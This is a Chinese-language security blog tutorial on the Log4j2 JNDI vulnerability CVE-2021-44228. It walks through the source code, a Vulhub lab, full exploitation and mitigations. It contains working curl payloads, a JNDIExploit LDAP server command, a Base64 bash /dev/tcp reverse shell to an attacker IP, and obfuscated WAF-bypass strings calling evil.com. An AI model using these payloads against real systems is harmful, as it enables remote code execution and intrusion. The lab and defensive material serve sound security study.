哈喽大家好我是专注实战攻防的网安博主小北。2021年底Apache Log4j2 远程代码执行漏洞CVE-2021-44228如同核弹一般席卷了整个安全圈无数企业、服务商连夜应急。即便到了今天它依然是渗透测试、红蓝对抗中常见的突破口也是安全面试的高频考点。今天这篇文章我将从底层原理开始一步步带你手撕源码、搭建复现环境、掌握多种利用与绕过手法并给出生产级的修复方案。文末有我打包的完整靶场镜像、POC脚本和一键加固工具关注后即可领取。全程干货建议收藏后再看。一、漏洞背景与影响范围Log4j2 是 Apache 旗下的一款高性能 Java 日志框架被几乎所有的 Java 生态项目Spring Boot、Elasticsearch、Kafka、Struts2 等广泛集成。正是这种“基座式”的普及度使得该漏洞的破坏力呈指数级放大。漏洞的根源在于 Log4j2 的“Lookup”功能。为了在日志中动态替换某些字符串Log4j2 允许使用${prefix:name}的语法去引用外部数据源比如${java:version}可以输出当前 JVM 版本${env:AWS_SECRET_KEY}可以读取环境变量。这本是一个极为便捷的特性但其中的JNDI Lookup接口没有对目标地址做任何限制允许通过 JNDI 协议LDAP、RMI去加载远程的恶意对象从而直接导致远程代码执行。受影响的版本主要是 2.0-beta9 至 2.14.1。如果你的项目中使用了这些版本的 Log4j2或者间接依赖了它们而且未采取任何缓解措施那么你的服务器在攻击者面前基本是透明的。二、从源码理解漏洞触发机制要真正吃透这个漏洞必须看代码。我们先找到org.apache.logging.log4j.core.lookup.StrSubstitutor这个类负责解析日志消息中的${}占位符。它的核心替换逻辑会遍历所有已经注册的 Lookup 实现包括DateLookup、JavaLookup、JndiLookup等。关键调用链大致如下应用打印日志消息体包含${jndi:ldap://evil.com/exp}。MessagePatternConverter调用StrSubstitutor.replace()。StrSubstitutor解析到jndi前缀调用JndiLookup.lookup()。JndiLookup直接使用InitialContext.lookup()去请求攻击者指定的 LDAP/RMI 服务。部分简化后的关键源码java// JndiLookup 类 public class JndiLookup extends AbstractLookup { public JndiLookup() { super(); } Override public String lookup(LogEvent event, String key) { if (key null) { return null; } try { javax.naming.Context ctx new InitialContext(); // 直接拼接用户输入发起远程调用 Object obj ctx.lookup(key); return obj ! null ? obj.toString() : null; } catch (NamingException e) { return null; } } }可以看到传入的key完全由用户控制没有任何过滤。攻击者只需要构造一个恶意的 LDAP 服务并在返回的 Reference 中指定远端工厂类地址目标服务器就会自动下载并执行该类中的代码。这本质上是 JNDI 动态协议转换的一个设计缺陷被滥用而非简单的代码 bug。三、本地靶场搭建保姆级为了让新手也能快速上手我基于 Vulhub 做了优化。你只需要确保本地安装了 Docker 和 Docker Compose。克隆环境bashgit clone https://github.com/vulhub/vulhub.git cd vulhub/log4j/CVE-2021-44228 docker-compose up -d访问http://your-ip:8983会看到一个 Solr 管理界面。这是一个经典的漏洞载体因为 Solr 内部广泛使用 Log4j2 记录查询参数和 HTTP 头。验证漏洞是否存在。首先在你的攻击机上启动一个简单的 HTTP 服务器或者使用 DNSLog 平台。我们利用 DNSLog 来检查回显bashcurl -H X-Forwarded-For: ${jndi:ldap://xxxxx.dnslog.cn/test} http://target:8983/solr/admin/cores如果 DNSLog 平台收到来自目标 IP 的解析请求说明漏洞被成功触发你的输入被 Log4j2 解析并执行了 LDAP 请求。四、命令执行完整利用验证了漏洞接下来要实现命令执行。我们需要一个 JNDI 注入利用工具这里以经典的JNDIExploit-1.2-SNAPSHOT.jar为例。在攻击机假设 IP 为 192.168.1.100上启动恶意 LDAP 服务bashjava -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.1.100 -p 1389该工具会同时监听 LDAP 和 HTTP 服务。准备要执行的命令。为了应对编码问题可以使用 Base64 编码比如执行calc.exeWindows或反弹 shell。这里演示弹出计算器bash# 计算器命令 curl -H X-Forwarded-For: ${jndi:ldap://192.168.1.100:1389/Basic/Command/Base64/Y2FsYy5leGU} http://target:8983/solr/admin/cores如果目标为 Linux想反弹 shell可以这样构造bash# 反弹 shell 的 Base64 编码 echo bash -i /dev/tcp/192.168.1.100/4444 01 | base64 # 得到 YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ # 将 Payload 替换即可此时你将在攻击机的 Netcat 监听中获得一个反向连接的 Shell。五、绕过RC1补丁与高版本JDK限制漏洞爆发后Apache 紧急发布了 2.15.0-rc1将JndiLookup中限制为只能使用java:、ldap:、ldaps:等白名单协议并且对主机名做了一定校验。然而很快就出现了新的绕过方式。利用${${lower:j}ndi}混淆通过嵌套 Lookup 函数lower把j变成小写拼凑出jndi从而绕过基于字符串jndi:的精确匹配。text${${lower:j}ndi:ldap://evil.com/exp}类似地还可以使用upper、reverse等函数进行组合混淆。绕过 JDK 高版本信任机制JDK 6u211、7u201、8u191 以后默认com.sun.jndi.ldap.object.trustURLCodebase被设置为false不允许从远程加载类。但这并不意味着绝对安全。攻击者可以利用本地的 Gadget 链例如 Tomcat 自带的BeanFactory进行反序列化攻击同样可以实现代码执行。工具JNDIExploit已经集成了TomcatBypass模块适合在目标 Tomcat 环境下直接使用。六、WAF绕过手法在真实攻防中目标往往部署了WAF会检测jndi:、ldap:等敏感字符串。常见的绕过思路有Unicode 编码\u006andi表示jndi。URL 编码对冒号、斜杠等进行二次编码。利用其他 Lookup 拼接${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap://evil.com/exp}这些手法要求测试人员熟悉 Log4j2 的解析顺序和 WAF 的解码逻辑通常可以结合使用。七、生产级修复方案漏洞修补不能仅仅依赖打补丁必须采用纵深防御策略紧急升级将 Log4j2 升级至2.17.1Java 8或2.12.4Java 7及以上。如果无法立刻升级务必删除 jar 包中的JndiLookup.classzip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。JVM参数缓解设置-Dlog4j2.formatMsgNoLookupstrue或在环境变量中加入LOG4J_FORMAT_MSG_NO_LOOKUPStrue。但这在 2.10.0 以上版本才有效且存在绕过可能。网络层拦截在 WAF 或 IDS 上配置规则检测并阻断包含${jndi:、${${lower:等特征的流量同时注意各种编码转换。最小权限运行 Java 应用的服务账户禁止出外网这样即便被触发也无法连接外部恶意 LDAP 服务。我把上述所有步骤用到的工具、脚本、Docker-compose 文件以及详细的绕过 POC 都整理成了一个资料包方便大家下载后直接练习。
